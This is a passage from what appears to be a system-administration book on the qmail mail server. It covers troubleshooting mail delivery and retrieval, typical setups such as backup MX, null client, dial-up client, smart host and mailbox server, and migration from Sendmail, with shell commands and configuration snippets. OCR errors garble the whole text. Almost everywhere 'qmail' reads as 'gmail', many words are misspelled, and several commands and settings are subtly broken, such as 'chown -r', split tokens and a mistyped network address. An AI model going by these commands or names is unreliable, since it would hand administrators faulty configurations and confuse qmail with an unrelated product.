If thelogsindicate a permanent error (failure), either the remote address (locd part or domain) isinvalid, or
the remote Site isrefusing to accept the message. In either case, gmail-send should log enough information for



you determine a course of action.

If thelogsindicate atemporary error (deferrd), either the remote host is unreachable, or it is reachable but
temporarily unableto ddliver the message.

If al messages are being deferred because remote hosts can't be reached, for example, because of
temporary DNS lookup failure or inability to establish an SMTP connection, verify that theloca host has
network connectivity. Ping known hosts using the ping utility, or look up known remote domainsusing dig or
some other DNS look-up utility. Use traceroute or mitr to verify that the remote server isreachable.

If you can't look up or ping any known hogts, the problem isthat your network connection is down or
mdfunctioning.

If you can reach known hogts, but not others, the problem iswith the hosts you can't reach. Y ou could try to
contact the administrators by phone, but they're probably aware of the problem.

Verify that concurrencyremote isnot set to 0 (zero).

Mail Not Retrievable by Users

Y ou discover that although mail is ddivered localy and remotely, users who access their mailboxes via network mail
protocols like POP3 or IMAP are unable to retrieve new mail.

The problem could be that you haven't installed a mailbox service, the serviceis not working properly, or the users
MUAs are misconfigured or not working properly. A typica gmail ingtalation provides SMTP service, which remote
users use to send mail, but it doesn't provide POP3 or IMAP service, which remote users need in order to receive
mail. In any case, do thefollowing:

1.

If you haven't installed a POP3 or IMAP service, see Chapter 10, "Serving Mailboxes.”

If you have ingtalled a POP3 or IMAP service, check itslogs for any error messages.

Verify that the serviceis active by attempting to connect to it from the server. Seethe earlier " Teding" section.



Verify that user authentication isworking by logging in to the service with aknown username/password.

Verify that user mail isbeing ddlivered to the correct location for the mailbox service,

Verify that user'sMUA is properly configured with correct server, port/protocol, authentication method,
username, and password.

Verify that user's MUA isworking properly by testing with aknown-working MUA or by using recordio to
record their sessions (seethe earlier "Using recordio to Log SMTP Sessions” section).

Local UsersCan't Send Mail

Y ou discover that athough mail is delivered locally and remotely when injected localy, userswho accesstheir mail
over the locd network usng MUAS such as Outlook Express or Eudora are unable to send mail.

It could be your SMTP service isn't working properly, it's not dlowing local usersto relay, or the users MUAs are
misconfigured or not working properly. In any case, do thefollowing:
1.

Seethe earlier "Mail Not Accepted from Remote Hosts" section to verify that your SMITP isworking
properly.

Verify that trusted hosts are granted relaying access. Their [P or network addresses should belisted in
/etc/tep.smtp, and /etc/tep.smtp.cdb should be up-to-date. Run gmailctl cdb to update it. See Chapter 3,
"Configuring gmail: TheBasics" for moreinformation.

Verify that user's MUA is configured with correct SMTP server.

Verify that user's MUA isworking properly by testing with aknown working MUA or by using recordio to
record their sessions (seethe earlier "Using recordio to Log SMTP Sessions” section).
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Conclusion

Y ou should now know how to identify mail-related problems and determine what, if anything, you can do to fix them.
Y ou know there are severd sources of troubleshooting information including the gmail processes, the log files, and
message headers. Y ou've learned how to test network services directly using the telnet command. You've aso
learned step-by-step procedures for troubleshooting common problems.

In Chapter 7, "Configuring gmail: Advanced Options," you'l learn about advanced gmail configuration. Thisincludes
how to set up severd typica configurations like abackup MX server, diaup client, or smart host. Well aso look at
migrating Sendmail-based mail serversto gmail, ingtaling source-code modifications (patches), the QM TP and
QMQRP protocols, and secure SMTP.
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Chapter 7. Configuring gmail:
Advanced Options

Chapter 3, "configuring gmail: the basics" covered the fundamentals of gmail configuration: the control files, relay
control, diases, virtud domains, and the gmail-users mechanism.

This chapter will explore more advanced configuration topics.
Overview

This chapter covers advanced gmail configuration:

Firgt, well show how to configure gmail for one of severd typical configurations such as backup mall
exchanger (MX), null client, or smart host.

Next, well look at some of the issuesinvolved with migrating an existing Sendmail-based mail system to
gmalil: .forward vs. .gmail, mailbox format and location, and adiases.

Well aso learn about source-code modifications, aso known as patches: how to ingal them and some of
the more frequently used patches.

Then, wélll look at two additiona protocolsthat gmail supports: Quick Mail Transfer Protocol (QMTP) and
Quick Mail Queueing Protocol (QMQP). You'll learn what they're used for and how to ingtall and configure
them.

Next, well examine waysto secure Simple Mail Transfer Protocol (SMTP), which normally exposesthe
content of messages over the network.



Finaly, well discuss various techniques for improving your gmail system's performance.
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Setting Up Typical Configurations

Although al mail servers perform the same core function transferring messages there isawide range of typica
configurations including the generd -purpose mail server, backup MX, null client, did-up client, and smart host. This
section coverswhat's required of these configurations and shows how they can be implemented in gmail.

General Purpose

The genera-purpose mail server isthe most common configuration. It's aso what you'l get if you follow the
ingdlation ingructionsin Chapter 2, "Ingdling gmail." I1t'salso agood starting point for implementing customized
configurations such as the ones described in this chapter.

Functiondly, the generd-purpose mail server

Accepts messages from other serversfor loca addresses
Sends messages to other serversfor remote addresses

Ddiverslocd mail to mailboxes and programs and forwards messagesto local and remote addresses

gmail's modular design negtly separates the three functions: gmail-smtpd accepts messages from other servers,
gmail-remote sends messages to other servers, and gmail-local delivers mail to local addresses.

Backup Mail Exchanger

The Domain Name System (DNS) provides a mechanism for specifying the mail exchangersfor adomain using
speciad MX records. These records contain the name of the mail exchanger for the given domain and anumeric
preference (sometimes caled distance). If multiple MX records are provided for adomain, the preference indicates
the order in which they should betried.

Background



For example, let's say Example.com isalarge company. All mail sent to Example addresses is addressed to
something @example.com including mail for individua employees aswell as public addresses such as
info@example.com and custserv@example.com. Because reliable mail serviceisimportant to Example, it setsup
two systemsto handle incoming mail: mail 1.example.com and mail2.example.com. If mail1l.examplecomis
unavailable for example, because of hardware failure or network problemsit wants mail to be received by
mail2.example.com and held there until mail 1.example.comisback in service.

| mplementation

Todothis, Examplecan
1.

Set up mail1.example.com as a general -purpose mail server

2.
Createtwo MX records for example.com in the name server
3.
Set up mail 2.example.com as abackup mail exchanger
Step 1

Exampleingdlsgmail on mail1l.example.com following the directionsin Chapter 2, "Inddling gmail.” Becauseit
wantsthis server to accept mail for something@example.com aswedl as something@mail.example.com, the
company adds example.com to /var/gmail/control/rcpthosts. To have something @example.com mail trested the
same as mail to something@mail 1.example.com, the company then adds example.com to /var/gmail/control/locals .
Totdl gmail-send to reread control/locals, it sendsit aHUP sgnal:

# gmailctl hup
Sendi ng HUP signal to gmail -send.
#

Because control/rcpthostsis reread each time an SMTP connection is received, theré's no need to restart the
gmail-smtpd service.

Step 2

Example adds M X records for example.com, such asthoselisted in Table 7-1.

Table 7-1: MX Records for Primary and Backup Servers

DOMAIN EXCHANGER PREFERENCE




example.com maill.example.com 10

example.com mail2.example.com 20

Step 3

Exampleingdls gmail on mail2.example.com following the directionsin Chapter 2, "Ingaling gmail." Once again, it
adds example.com to control/rcpthosts, but because it doesn't want something @example.com mail to be ddivered
on mail2.example.com, it leaves example.com out of control/locals.

Results

With this configuration, remote Sites sending mail to example.com will ook up the MX records and try

mail 1.example.com first becauseits preference isalower number. If they can't connect to mail1.example.com, they'll
try to send the mail to mail2.example.com. When mail2.example.com is offered mail for something@example.com, it
will accept it. Because example.com isnot in control/locas, it'll immediatdy try to deliver it remotely. Just like the
remote host that sent it the message, mail2 will look up the M X records for example.com and try to deliver it to
mail1.example.com. That will most likely fail unless mail1.example.comisback in service. Because mail2 islisted as
the second M X, it won't try to deliver the message remotely to itsalf. The message will remain in mail2's queue until
ather it's successfully delivered to mail.example.com or it's been in mail2's queue for queuelifetime secondsand is
returned to the sender as permanently undeliverable.

Null Client

The null client has minimd functiondity asaMail Transfer Agent (MTA). Infact, it'snot even acomplete MTA. Its
solefunctionisto deliver all mail to aremote "smart”" host that determines whether it'slocal or remote and deliversit
accordingly. It'sided for systemsthat should not accept mail viaSMTP or store mailboxes.

Background

For example, let's say Example.com is alarge company, and workstation.example.com isauser's desktop
workstation. Further, user mailboxes a Example are served from imap.example.com viathe Internet Mail Access
Protocol (IMAP). Any mail that originates on workstation.example.com should be forwarded to
mailhub.example.com, which will forward local messagesto imap.example.com and ddliver everything € se remotely.
Mail sent from aremote Site to somethi ng @workstation.example.com should be redirected viaan M X record to
mailhub.example.com.

Tip
Seethe " Backup Mail Exchanger”
section for an explanation of MX
records.




| mplementation

To do this, Example can
1

Configure workstation.example.com asanull client

Create an M X record for workstation.example.com pointing to mailhub.example.com

Step 1

Exampleingalsgmail on workstation.example.com following the directionsin Chapter 2, Inddling gmall," except it

1.

Skips the setup of the gmail-smtpd service because workstation will receive no incoming SMTP connections

Empties (but does not remove) /var/gmail/control/locas, so gmail will not ddiver any mail localy

Putsthe following entry in /var/gmail/control/smtproutesto force dl outgoing mail to go to
mailhub.example.com:

:mai | hub. exanpl e. com

Step 2

Example addsan M X record likethe onein Table 7-2.

Table 7-2: MX Record for aNull Client

DOMAIN EXCHANGER PREFERENCE

workstation.example.com mailhub.example.com 10




Note
gmail aso supports"mini-gmail” dients,
where gmail-queue is replaced with
gmail-gmgpc, aQM QP client.
QMQP clients and servers are covered
later in " Using Quick Mall Queuing
Protocal .

If dl mail isaddressed to user@example.com and not user@workstation.example.com, it's not necessary to add an
MX record for workstation. Thiswill require MUASs to be configured with example.com in the user's address.

Results

The MX record directs any mail for workstation.example.com to mailhub.example.com. Because workstation
receivesno mail viaSMTP, it runsno SMTP service.

Mail sent from workstation is delivered remotely because control/loca s is empty, and because control/smtproutes
has awildcard entry, al outgoing mail goes through mailhub.example.com.

Dial-up Client

In many cases, atypical general-purpose mail server configuration can work as-isover adia-up connection, but
there are a couple Stuations that benefit by additiona customization: part-time connectivity and using the Internet
Service Provider's (ISP's) mail hub as a smart host.

gmail was designed for well-connected hosts, so it assumesit's dways connected to the Internet. For clientswith
dia-on-demand connectivity, this meansthat attempts to send remote mail will bring the connection up. For other
clients with part-time connectivity it meansthat attempts to send remote mail will fail if the connection is currently
down. The seridmail package (see Appendix B, "Related Packages') includes autility caled maildirsmtp that can be
used to implement a queue of outgoing messages that can be flushed when the Internet connection is brought up.

Some mail servers refuse to accept connections from did-up clientsin an ineffective attempt to reduce junk mail.
Because of this, using the ISPsmail hub asasmart host can help dia-up clients get their mail ddivered especidly if
their ISP identifiesdid-up clientsusing the Dial-Up List (DUL) DNS blacklist (see Chapter 8, "Controlling Junk
Mail").

Background

For example, didup.example.net isadid-up client of the | SP Example.net. The domain owner wants remote mail to
be queued until the connection is active and then flushed to mail.example.net, which ddiversthe messages|ocaly or
remotely as necessary. gmail, daemontools, ucspi-tcp, and seridmail are dready ingtalled. The Internet Protocol (IP)
address of mail.example.net is 192.168.1.20.



| mplementation

To do this, the domain owner can
1.

Useawildcard virtua domain to redirect dl remote mail to alocd dias

Usethe dot-gmall filefor the diasto save the messagesin amaildir mailbox

Use maildirsmtp to flush the queue to mail .example.net

Step 1

Firgt, the domain owner stops gmail while he's doing the reconfiguration:

# gmail ctl stop

St oppi ng gmai | .
grai | - snt pd
grmai | - send

#

Next, he creates /var/gmail/control /virtua domains with the following entry:

:al i as-out goi ng

Step 2

He creates /lvar/gmail/dlias/.gmail-outgoing-default with the following entry:

[ var/ gmai | / spool /

Next, he creates the spool maildir:

# mai | di rnake /var/gnail/spool
# chown -r alias /var/qgnuail/spool
#

Now herestartsgmail:



# gmailctl start
Starting gmail
#

Step 3

He adds the following command to a script that's run automatically each time the did-up (Point-to-Point Protocol, or
PPP) interface is activated. On Red Hat Linux, for example, the script is/sbin/ifup-loca:

setl ock /var/l ock/outspool naildirsntp /var/qmail/spool alias-outgoing- \
192.168. 1. 20 ' host nan®e'

The setlock command ensures that only one copy of maildirsmtp is processing /var/gmail/spool at atime by locking
thefile outspool. The maildiramtp command processes the messagesin /var/gmail/spool/, stripping dias-outgoing-
from the Delivered-To field to re-create the original recipient address. It then connectsto 192.168.1.20
(mail.example.net), identifiesitself with the host name supplied by hostname, and forwards the messages.

Tip
The same maildirsmtp command can
be run periodically while the connection
isactiveto flush mail sent after the
connection became active.

Result

The wildcard control/virtualdomains entry intercepts al outgoing mail and ddiversit to the spool maildir. When the
dia-up connection is activated, the ifup-loca script invokes maildirsmtp to forward the spooled mail to
mail.example.net.

Smart Host

A smart hogt, also known asa mail hub or relay, isbasicaly amail router. It accepts mail from local systemsfor
local and remote recipients and from remote systems for loca recipients but it may not ddiver any of the"locd" mall
localy, instead routing it to one or more local mailbox servers.

Background

For example, the company Example.com wants mail.example.com to accept mail for something @example.com and
forward it to its mailbox server, exchange.example.com. It aso wants mail.example.com to accept messages from the
company's entire network, 192.168.x.x, for all recipients and forward them to exchange.example.com if they're for
local recipients or to the appropriate remote site otherwise.



| mplementation

Todothis, Examplecan

1.

Configure mail.example.com as agenerd-purpose mail server

Create an MX record for example.com pointing to mail.example.com

Create a control/smtproutes entry to forward local mail to exchange.example.com

Implement selective relaying to accept mail for dl destinations from hosts on the 196.168 network

Step 1

Examplefollowsthedirectionsin Chapter 2, "Ingtaling gmail," and then adds the following line to

Ivarlgmail/control/rcpthosts:

exanpl e. com

Step 2

Example crestesaDNSMX entry liketheonein Table 7-3.

Table 7-3: MX Record for a Smart Host

DOMAIN EXCHANGER PREFERENCE
example.com mail.example.com 10
Step 3

Example adds the following entry to /var/gmail/control/smtproutes:

exanpl e. com exchange. exanpl e. com

Step 4




Example adds the following entry to /etc/tcp.smtp:

192. 168. : al | ow, RELAYCLI ENT=""

and rebuilds the binary SMTP access control database, /etc/tcp.smtp.cdb:

# gmailctl cdb
Rel oaded /etc/tcp. sntp.
#

Results

Mail sent to something @example.com goes to mail.example.com because of the MX record. Mail from all hoststo
mail.example.com for something @example.com is accepted because example.com isin control/rcpthosts. Mall
received from hosts on the 192.168 network is accepted regardless of the destination because RELAY CLIENT is
St by tepserver.

Mail for something @example.com isforwarded to exchange.example.com because of the control/smtproutes entry
and because example.com is not listed in control/locals.

Mailbox Server

A mailbox server isasystem that accepts mail for local users, storesit in mail-boxes, and provides accessto the
mailboxesviaMail User Agents (MUAS) running on the server itself or through the Post Office Protocol verson 3
(POP3) or IMAP to remote MUAS.

Background

Example wants to set up email.example.com as amailbox server. The company wants its usersto be able to access
their mail through POP3 and IMAP, and it wants email.example.com to accept mail from al example.com systems
(192.168.x.x network), regardless of the destination.

| mplementation

Todothis, Examplecan
1

Configure email.example.com as a general-purpose mail server



Install gmail-pop3d and Courier-IMAP

3.
Creste usarsand initidize their mailboxes
4,
Implement selective relaying to accept mail for al destinations from hosts on the 196.168.x.x network
Step 1

Examplefollowsthedirectionsin Chapter 2, "Instaling gmail." Because both gmail-pop3d and Courier-IMAP work
with maildir mailboxes only, it sets/var/gmail/control/defaultddivery to this:

A Mai I dir/

Step 2

Examplefollowsthedirectionsin Chapter 10, "Serving Mailboxes," to instal gmail-pop3d and Courier-IMAP.

Step 3

The operating system on email.example.com provides an adduser command that copies the contents of the /etc/skel
"skeleton” directory to the home directory of each new user created, changing the owner from root to the new user's
user-name. Thismeansthat creating an empty maildir in/etc/skel will automatically set up each new user with an
empty maildir. To creste the skeleton maildir, it doesthis:

# mail di rmake /etc/skel/Maildir
#

Now the company creates new user accounts by running adduser, either manualy or using a script.

Step 4

Example adds the following entry to /etc/tcp.smtp:

192. 168. : al | ow, RELAYCLI ENT=""

and rebuilds the binary SM TP access control database, /etc/tcp.smtp.cdb:



# gmailctl cdb
Rel oaded /etc/tcp. sntp.
#

Results

Users created on email.example.com automatically get mailboxes because of the maildir in the skeleton directory, and
control/defaultddivery directstheir mail to that maildir.

The POP3 and IMAP servers provide remote access to the user's mailboxes.

Users can relay mall through email.example.com because tcpserver sets RELAY CLIENT for dl connectionsfrom
the 192.168.x.x network.
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Migrating from Sendmail to gmail

If you've got an exigting Sendmail ingtallation with active users, upgrading to gmail with minimal impact to your users
requires careful planning and execution. Although Sendmail and gmail are 100-percent compatible"on thewire,”
there are mgjor differencesin the way they work that are potentialy visible to users and administrators.

The two major incompatibilities, from auser's perspective, arein the areas of delivery dispostion via .forward/.gmail
filesand mailbox location/format. The differencein adminigration beyond theinitid setup isprimarily inthe
implementation of diases.

Delivery Disposition

Sendmail uses SHOME/ .forward to let the user tell Sendmail how to deliver messages. The .forward file, for
example, iswhere afilter such as Procmail would be invoked. And, of coursg, it aso alows messages be forwarded
to another address.

gmail uses $SHOME/.gmail, whichisin asimilar, but not completely compatible formet.

The dot-forward package (http://cr.yp.to/dot-forward.html) dlows gmail to deliver through .forward files.

I nstalling dot-forward

Toingall the dot-forward package, follow these steps:
1.

Download the source tarbal using your Web browser or acommand-line Web utility. At thetime of this
writing, verson 0.71 isthe current release. For example, using the wget utility, do this:

$ wget http://cr.yp.to/software/dot-forward-0.71.tar.gz
13:56:03 http://cr.yp.to/software/dot-forward-0.71.tar.gz
=> 'dot-forward-0.71.tar.gz'
Connecting to cr.yp.to:80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 26,352 [application/x-gzip]

OK -> . . .. . .. . .. . . .. . ... .. .. ... ]100%
13:56:21 (1.78 KB/s) - 'dot-forward-0.71.tar.gz' saved [26352/26352]

$
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Unpack thetarbdl:

$ zcat dot-forward-0.71.tar.gz | tar xf -

Build and ingdl dot-forward:

$ su
Password: root password
# cd dot-forward-0.71
# make setup check
(cat warn-auto.sh; \
echo CC=\""'head -1 conf-cc'\"'; \
echo LD=\""'head -1 conf-Id"\"' \
...lots of output, ending with sonething like:
./load instcheck hier.o auto_qgnail.o strerr.a substdio.a \
error.a str.a
./instcheck
#

Configure dot-forward to be run by default for al users. Thisisaccomplished by setting the defaultdelivery
argument to gmail-start to something that delivers messages to dot-forward. The /var/gmail/boot directory
includes severd example /var/gmail/rc scriptsthat use dot-forward, which you might want to look at. If you
followed the ingalation indructionsin Chapter 2, though, your /var/gmail/rc script reads defaultdelivery
from the defaultddivery contradl file, which probably |ooks something likethis

I Maildir/

To invoke dot-forward, edit /var/gmail/control/defaultddivery and add anew line at the top of the file containing this:

| dot -forward . forward

Theresult should look something likethis:

| dot -forward .forward
A Maildir/

Then restart gmail:

# gmailctl restart
Restarting qmail:



St oppi ng gnai | - snt pd.
Sendi ng gnmai | -send SI GTERM and restarting.
Restarting gnail -snt pd.

H O o+ *

Inthe"Mailbox L ocation and Format" section, you'll probably be modifying the second line of defaultddivery, soyou
might want to save the restart until then.

Compatibility Issues

dot-forward handles the most frequently used .forward constructs: delivery to programs, forwarding to addresses,
and comments, but it doesn't support delivery to files or the :include: mechanism. Both of these cases can be handled
using extension addresses and .gmail files. For example, if auser's .forward file containsthis.

:include: addresses
/ homre/ mar yj ane/ Mai | / backup

It could be rawritten asthis

mar yj ane- addr esses
mar yj ane- backup

where .gmail-addressesis a copy of the addresses file assuming it contains alist of addresses, one per line, and
.gmail-backup containsthis:

/ hone/ maryj ane/ Mai | / backup

Mailbox L ocation and For mat

Most Sendmail ingtdlations use a separate Message Ddlivery Agent (MDA), /bin/mail or mail.locdl, to ddiver mail to
mailboxes stored in a centra spoal directory such as /var/spool/mail, /usr/spool/mail, or lvar/mail. Most gmail
ingtallations use gmail's built-in MDA to ddliver to mailboxes stored in the user's home directory. When migrating
from Sendmail to gmail, you have the choice of configuring gmail to ddliver the mail the same way Sendmail did or of
switching to gmail's home directory storage. Y ou aso have the option of switching from the mbox-format maillboxes
that /bin/mail and mail.loca support to gmail's maildir mailbox formet.

For minimum impact on users, it's probably best to retain the mailbox location and format used under Sendmail at
least initidly. Once gmail is up and running and has proven to be performing as desired, you can plan amigration to
maildir format or home directory ddivery without potentia confusion regarding Sendmail/gmail compatibility issues.
Y ou can even migrate in stages: first to home directory mailbox storage, then to maildir format and you don't have to
migrate dl users at once, though that might be easier in thelong run.

Delivering Mail Sendmail-Style



Sendmail doesn't include an MDA. It invokes a separate MDA as specified in its configuration file, sendmail.cf. On
most systems, the MDA used is/bin/mail, though later versions of Berkeley Software Didtribution (BSD) use
lus/libexec/mail.locdl.

To configure gmail to use one of these MDASs by default, modify the defaultdelivery parameter to gmail-start, which
isusudly invoked from var/gmail/rc. If you inddled gmail following the directionsin Chapter 2, "Ingtaling gmail,” the
defaultdelivery argument is set to the contents of /var/gmail/control/defaultdelivery.

The directory /var/gmail/boot contains example /var/qmail/rc scripts that invoke /bin/mail and mail.locdl.

For example, if your /var/gmail/control/defaultddivery script containsthis:

| dot -forward . forward
./ Mai | box

And you're on a System V-like system such as Linux, you'd changeit to this:

| dot-forward .forward
|preline -f /bin/mail -r "${SENDER - MAI LER- DAEMON}" -d " $USER'

Note
/bin/mail isrun by preline, so
messages will include a Ddlivered-To
header field documenting the recipient
address and used for loop detection.
The-f flag to preline preventsit from
adding the mbox message prefix line
garting with From, which /bin/mail will
add.

Migrating to Home Directory Delivery

To switch to home directory mailbox storage in mbox format, you need to perform three tasks:

Y ou need to move existing mailboxesto their owner's home directories.

Y ou need to configure gmail to ddliver to those mailboxes.



Y ou need to reconfigure MUASs and mailbox serversto use the new location.

These changes should be coordinated with users to minimize confusion and complaints.

Moving M ailboxesto Home Directories

Thefirst stepisto shut down the MTA, whether it's Sendmail or gmail, so you don't have to worry about messages
arriving during the move.

The next gep isto move the existing mailboxes. If your mailboxes are stored in /var/spool/mail/username, and you
want to move them to /home/ user name/Mailbox, you could do something likethis:

# cd /var/spool / mail
# for i in*; do

> mv $i ~$i/ Mail box
> done

#

Thisloops through each of the mailboxes and executes an mv command to move it to the new location.

Caution
Y ou should create ashdll or Perl script
to do thismore carefully for example,
to make sure that /home/username
/Mailbox doesn't exist before you move
the system mailbox there.

Configuring gmail to Deliver to Home Directory Mboxes

Once again, configuring gmail's default delivery ingtructions requires modifying the defaultdelivery argument to
gmail-gtart and restarting gmail. If you've enabled dot-forward, you aready know which file to edit, probably
Ivar/gmail/control/defaultddivery or ivar/gmail/rc.

To causegmail to deliver to SHOME/Mailbox, make surethat defaultdelivery contains /Mailbox.

For example, if your defaultdeivery file containsthis:

| dot -forward . forward
. Mai I dir/

Y ou would change the second lineto this:

| dot -forward . forward
./ Mai | box



Note
Make sure you removethetralling dash
(N, or gmail-local will think thet
IMailbox/ is supposed to be amaildir,
and deliverieswill be deferred.

Finaly, restart gmail to begin ddlivering to the new location.

Migrating to Maildir-Format M ailboxes

To switch to the maildir mailbox format, you need to perform severa tasks:

Move exigting mailboxesto their owner's home directories.

Convert mailboxes from mbox to maildir.

Configure gmail to ddliver to those mailboxes.

Reconfigure MUAs and mailbox serversto reflect the format.

Thefirst two steps can be combined into one.

Caution
Before changing the mailbox format,
ensure that supported MUAs and
mailbox servers support the new format.

Moving M ailboxesto Home Directoriesand Converting to Maildir Format

Thefirst stepisto shut down the MTA, whether it's Sendmail or gmail, so you don't have to worry about messages
arriving during the move.

The second step ismost easily accomplished using ascript called convert- and-create, available from
http://ww.gmail.org/convert-and-create. This script not only moves existing mbox mailboxes to the owner'shome
directory and converts them to maildir format, it aso creates empty maildir mailboxes for userswho have no mail in
the central spool directory. Thelast step iscritical because gmail-loca will defer deliveriesto userswhose maildir
mailboxes don't exis.
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Download and run convert-and-create:

# wget http://ww. gnmail . org/ convert -and-create
09: 55:51 http://ww. gmail . org/ convert -and-create
=> 'convert-and-create'
Connecting to ww. gmai |l .org:80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 1,884 [text/plain]

0K -> . [100%
09:56:23 (162.93 B/s) - 'convert-and-create' saved [1884/1884]

# chnod 750 convert-and-create

# ./convert-and-create

r oot

warning: binis 1, but /bin is owned by 0, skipping.

war ni ng: daenon is 2, but /sbin is owned by 0, skipping.

war ni ng: adm's home dir, /var/adm doesn't exist (passwd: *), skipping.
.addi tional output.

jim

suzanne

j ani ce

#

Examine convert-and-creste's output carefully to be surethat it did what you wanted. For example, the first line of
output showsit crested a mailbox for root, which gmail will never use. If it'sempty, you should removeit. The other
output warns about various system accounts and is normd.

Configuring gmail to Deliver to Home Directory Maildirs

Once again, configuring gmail's default delivery ingtructions requires modifying the defaultdelivery argument to
gmail-gtart and restarting gmail. If you've enabled dot-forward, you aready know which file to edit, probably
Ivar/gmail/control/defaultddivery or ivar/gmail/rc.

To cause gmail to ddiver to SHOME/Maildir/, make sure that defaultdelivery contains /Maildir/.

For example, if your defaultddivery file containsthis

| dot -forward . forward
./ Mai | box

Y ou would change the second lineto this:

| dot -forward . forward
. Mai I dir/
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Note
Make sureyou includethetrailing dash
(), or gmail-local will think thet
IMaildir issupposed to be an mbox,
and ddiverieswill be deferred.

Findly, restart gmail to begin delivering to the new location.

Aliases

Sendmail uses diases stored in adatabase, typically /etc/aiases, which are usualy converted to a machine-readable
database for faster lookups, usudly diases.db or diases.dir and aliases.pag.

gmail implements diases via.gmail filesin the home directory of the dias user or viathe optiond gmail-users
mechanism if var/gmail/users/cdb exigts.

When migrating from Sendmail to gmail, you have two choices: convert the Sendmail diasesto gmail diasesor ingal
the fastforward package, which implements Sendmail-style dias databases under gmail.

Converting Sendmail-Style Aliases to gmail-Style Aliases

Entriesin /etc/diases are in the format

alias: expansion

where expansion isacomma-separated list of the following:

Forwarding address, for example: maryjane@isp.example.net

Fleddivery, for example: /us/loca/mgordomo/incoming-log

Program ddlivery, for example: [Jus/loca/bin/info-responder

Fleincludes, for example: :incdlude: /us/locad/mail/ligsusers

Some of these might be enclosed in double quotes, especidly program deliveries that contain spaces.

The genera drategy for converting theseto gmalil diasesis



Create lvar/gmail/dias/.gmail-alias.

Put each forwarding address, program ddivery, and file ddivery in the diasin the .gmail-alias file, converting
to gmail format as necessary.

For each fileincluded, create anew .gmail filein /var/gmail/dias with the contents of theinclude file and add
aforwarding entry to .gmail-diasfor the new file.

For example, say /etc/diases containsthis:

1 root: erica, rache
2 users: root, :include:/usr/local/etc/users
3 hel p: "|/usr/local/bin/autohel p", /usr/local/l og/hel p-nmai

For line 1, you would cregte /var/gmail/dias/.gmail-root containing this:

&erica
&r achel

For line 2, you could create /var/gmail/diag/.gmail-users containing this:

&r oot
&user-1|1i st

And create /var/gmail/dias/.gmail-user-list containing the contents of /usr/loca/etc/users. Make sure that
.gmail-user-list isin the proper format: one address per line, each address beginning with aletter, number, or
ampersand (&).

For line 3, you could create var/gmail/dias.gmail-help containing this:

| /usr/1 ocal / bi n/ aut ohel p
lusr/1ocal /Il og/ hel p-mail

However, if the ddivery to autohelp fails, gmail-loca won't deliver acopy to hep-mail. To make the ddliveries
independent, you should put the autohel p delivery into a separate .gmail file. So, lvar/gmail/aias/.gmail-help would
containthis

&hel p- aut ohel p
/usr /1 ocal /Il og/ hel p- nai



And var/gmail/diag.gmail-hel p-autohel p would contain this:

| /usr/ Il ocal/bin/autohelp

Using fastforward to Implement Sendmail-Style Aliases

fastforward is not included with the gmail sourcetarbal. Y ou'll have to download the fastforward source tarball,
unpack it, build the binaries, ingal them, and configure gmail to use fastforward. To do this, follow these steps:

1.

Download the source tarbal using your Web browser or the wget utility. At thetime of thiswriting, 0.51is
the current version of fastforward. For example, usng wget:

$ wget http://cr.yp.to/software/fastforward-0.51.tar.gz
--11:49:15-- http://cr.yp.to/software/fastforward-0.51.tar.gz
=> 'fastforward-0.51.tar. gz’
Connecting to cr.yp.to:80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 40,659 [application/x-gzip]

0K -> .
[ 1009%

11:49:40 (2.33 KB/s) - 'fastforward-0.51.tar.gz' saved [ 40659/ 40659]

$

Unpack thetarbdl:

$ zcat fastforward-0.51.tar.gz | tar xf -

Build and ingdl thebinaries:

$ cd fastforward-0.51

$ su

Password: root password
# make setup check
(cat warn-auto.sh; \
echo CC=\""'head -1 conf-cc'\"'; \
echo LD=\""'head -1 conf-Id"\' \
...lots of output ending with sonething like:
./load instcheck hier.o auto_gnail.o strerr.a substdio.a \
error.a str.a
. /i nstcheck
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Convert /etc/diases to the machine-readable format that fastforward uses:

# [var/gmail / bi n/ newal i ases

Thiswill create /etc/diases.cdb.

Configure gmail to usefastforward. Thisis accomplished by invoking fastforward from
Ivarlgmail/aias/.gmail-default, the .gmail file that catches dl otherwise undeliverable mail. For example, if
thereiscurrently no .gmail-default file:

# cd /var/qgmail/alias
# 1s .qmail -default
I's: .gmail-default: No such file or directory
# echo "| fastforward -d /etc/aliases.cdb" > .qgnmail-default
#

That'sit: Mail to dl unddiverable local addresses will now be passed to fast-forward, which will attempt to deliver
themail via/etc/diases before bouncing it as undeliverable.

Compatibility Issues

fastforward is not 100-percent Sendmail compatible. Making fastforward completely Sendmail-compatible would
introduce some security problems. Other incompatibilities result from additiona flexibility or functiondity provided by
fastforward. Others are just aresult of the way fastforward works. All of these incompatibilities are documented in
the newdiases and newinclude man pages. Theincompatibilities most likely to impact a smooth migration from
Sendmall to gmall are:

Aliasesin /etc/diaseswill not override valid mail usersor their extension addresses. Thisis because
fagtforward isrun from /var/gmail/dias/.gmail-default, which is only consulted for unddliverable addresses.
The gmail-users mechanism can be used to override delivery to valid mail users. See Chapter 3, "Configuring
gmail: TheBasics" for more information on gmail-users.

File deliveries are not supported. File ddiveries can and should be done through extension addresses and
.gmail filesspecifying file ddivery.

Sendmail's behavior with circular diases depends on the version of Sendmail employed. fastforward's
behavior is documented in the setforward man page.



Sendmail complains about duplicate diases. fastforward slently usesthefirst oneit finds.

fastforward doesn't handle backd ashes (\) and quoting the same as Sendmail. fastforward's quoting is
Request For Comments (RFC)-compliant, and Sendmail's backd ash trick where \user means"ddliver to user
'smailbox," not "forward to user" isn't needed with gmail to prevent loops.

fastforward doesn't dlow vertical bars (]) before double quotes ().

Sendmail skips ddiveriesto diases containing missing or unreadable :include: files. fastforward defers such
deliveries.

If an diasincludes the same recipient both insde and outsde of amailing ligt, fastforward sends the message
twice, once with each envelope sender. Sendmail sends the message once with an unpredictable envelope
sender.

Sendmail readsincludefilesdirectly. fastforward reads machine-readable versons of include files generated
by newinclude.

fastforward include files cannot includefile or program deliveries.
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M odifying the Sour ce Code

gmail's redistribution rights prohibit distributing modified versions of the source code or binaries generated from
modified versions of the source code. So most user-contributed gmail modifications are distributed in the form of
source-code patches.

Patches are the output of the diff command on the origind files and the modified files. Although one could manualy
apply the changes by reading the patch files and making the indicated changes, the patch utility doesthis more quickly
and reliably. The patch tool isaso smart enough to skip text messages at the beginning of patch files, soingalation
ingtructions are often included.

Most Unix distributions include the patch utility, but some include obsolete versions that can't apply some patches. If
